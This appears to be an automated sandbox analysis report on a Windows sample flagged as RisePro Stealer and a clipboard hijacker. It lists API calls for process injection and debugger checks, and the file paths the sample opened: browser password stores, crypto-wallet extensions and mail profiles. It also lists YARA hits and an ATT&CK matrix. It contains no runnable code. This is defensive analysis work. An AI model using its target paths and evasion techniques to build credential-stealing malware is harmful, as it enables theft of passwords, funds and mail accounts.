Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07142EAD GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	0_2_07142EAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0715CCFD FindFirstFileExW,	0_2_0715CCFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710B2C0 FindFirstFileA,CreateDirectoryA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,FindNextFileA,FindClose,GetLastError,	0_2_0710B2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710BAC0 FindFirstFileA,SetFileAttributesA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,	0_2_0710BAC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_07166276 VirtualQuery,GetSystemInfo,

0_2_07166276

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 30000

Jump to behavior

Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: formVMware20,11696428655
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,11696428(
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: billing_address_id.comVMware20,11696428(
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000CuijjqDE5gAdZQ0/uE
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696H
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .utiitsl.comVMware20,11696428658
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ccount.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.4492597224.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,116964288
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT service, encrypted_token FROM token_servicerr global passwords blocklistVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696
Source: file.exe, 00000000.00000003.2052092482.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r global passwords blocklistVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}i
Source: file.exe, 00000000.00000002.4492597224.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: file.exe, 00000000.00000002.4492597224.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_80E7E91F
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696428655d
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o.inVMware20,11696428655~
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428650
Source: file.exe, 00000000.00000002.4492597224.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\#disk&ven_vmware&prouask#4&1656f219&0&0000f5-b6bf-11d0-94f2-00a08b
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000002.4494156670.000000000666F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARtive Brokers - non-EU EuropeVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000002.4494288913.00000000066CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_di
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comVMware20,11696428655o
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rootpagecomVMware20,11696428655o
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}les(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERD
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pageformVMware20,11696428655
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2108857833.0000000006645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2107514703.0000000006641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nickname.utiitsl.comVMware20,11696428658
Source: Ok36VMDQZkJbWeb Data.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.4494156670.000000000666F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\hcMSmyGUCSEFc2FAKlzc.exe

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-67163

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CBA212 rdtsc

0_2_00CBA212

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0713E580 GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

0_2_0713E580

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BAB380 WriteProcessMemory,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,

0_2_00BAB380

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0710E3B5 GetHGlobalFromStream,GlobalSize,GlobalLock,VirtualAlloc,RtlGetCompressionWorkSpaceSize,RtlCompressBuffer,GlobalUnlock,GdipDisposeImage,GetProcessHeap,HeapAlloc,

0_2_0710E3B5

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_071462B6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_071462B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07146014 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_07146014
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0714FC07 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0714FC07

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe"			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_07145D6C cpuid

0_2_07145D6C

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_07160227
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_071602FD
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_07160121
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_07142CC6
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_07154ADB
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_07155047
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_0715FFF8
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_0715FD1A
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0715FDA5
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_0715FC34
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_0715FC7F
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0715F988

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AFDEAD GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00AFDEAD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0712C990 SetThreadExecutionState,SetThreadExecutionState,GetVersion,GetCurrentThreadId,GetThreadDesktop,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GdiplusStartup,CreateThread,CloseHandle,

0_2_0712C990

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.2116356968.0000000006588000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4493848204.0000000006306000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3580, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Xfp4MT9n1IFhi1hjXC4bx59.zip, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3580, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.2116356968.0000000006588000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4493848204.0000000006306000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3580, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Xfp4MT9n1IFhi1hjXC4bx59.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Create Account	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Valid Accounts	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	46 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	11 Process Injection	1 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	121 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	131 Security Software Discovery	SSH	1 Credential API Hooking	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	1 Masquerading	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
